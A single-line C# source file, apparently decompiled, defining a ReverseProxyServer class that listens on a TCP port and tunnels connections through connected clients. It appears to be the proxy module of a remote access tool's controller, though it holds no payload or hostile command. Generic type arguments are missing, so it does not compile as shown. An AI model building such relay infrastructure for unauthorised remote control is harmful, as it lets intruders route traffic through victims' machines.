using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Sockets; using Server.Connection; namespace Server.ReverseProxy; public class ReverseProxyServer { public delegate void ConnectionEstablishedCallback(ReverseProxyClient proxyClient); public delegate void UpdateConnectionCallback(ReverseProxyClient proxyClient); public readonly List _clients = new List(); private Socket _socket; public Clients Clients { get; private set; } private string UserIP { get { try { return ((IPEndPoint)_socket.RemoteEndPoint).Address.ToString(); } catch { } return "Unknown"; } } public ReverseProxyClient[] ProxyClients { get { lock (_clients) { return _clients.ToArray(); } } } public ReverseProxyClient[] OpenConnections { get { lock (_clients) { List list = new List(); for (int i = 0; i < _clients.Count; i++) { if (_clients[i].ProxySuccessful) { list.Add(_clients[i]); } } return list.ToArray(); } } } public event ConnectionEstablishedCallback OnConnectionEstablished; public event UpdateConnectionCallback OnUpdateConnection; public void StartServer(Clients clients, ushort port) { Stop(); Clients = clients; _socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); _socket.Bind(new IPEndPoint(IPAddress.Parse("0.0.0.0"), port)); _socket.Listen(100); _socket.BeginAccept(AsyncAccept, null); } private void AsyncAccept(IAsyncResult ar) { try { lock (_clients) { _clients.Add(new ReverseProxyClient(Clients, _socket.EndAccept(ar), this)); } } catch { } try { _socket.BeginAccept(AsyncAccept, null); } catch { } } public void Stop() { if (_socket != null) { _socket.Close(); _socket = null; } lock (_clients) { foreach (ReverseProxyClient item in new List(_clients)) { item.Disconnect(); } _clients.Clear(); } } public ReverseProxyClient GetClientByConnectionId(int connectionId) { lock (_clients) { return _clients.FirstOrDefault((ReverseProxyClient t) => t.ConnectionId == connectionId); } } internal void CallonConnectionEstablished(ReverseProxyClient proxyClient) { try { if (this.OnConnectionEstablished != null) { this.OnConnectionEstablished(proxyClient); } } catch { } } internal void CallonUpdateConnection(ReverseProxyClient proxyClient) { try { if (!proxyClient.IsConnected) { lock (_clients) { for (int i = 0; i < _clients.Count; i++) { if (_clients[i].ConnectionId == proxyClient.ConnectionId) { _clients.RemoveAt(i); break; } } } } } catch { } try { if (this.OnUpdateConnection != null) { this.OnUpdateConnection(proxyClient); } } catch { } } public void KillConnection(int index) { try { OpenConnections[index]?.Disconnect(); } catch { } } }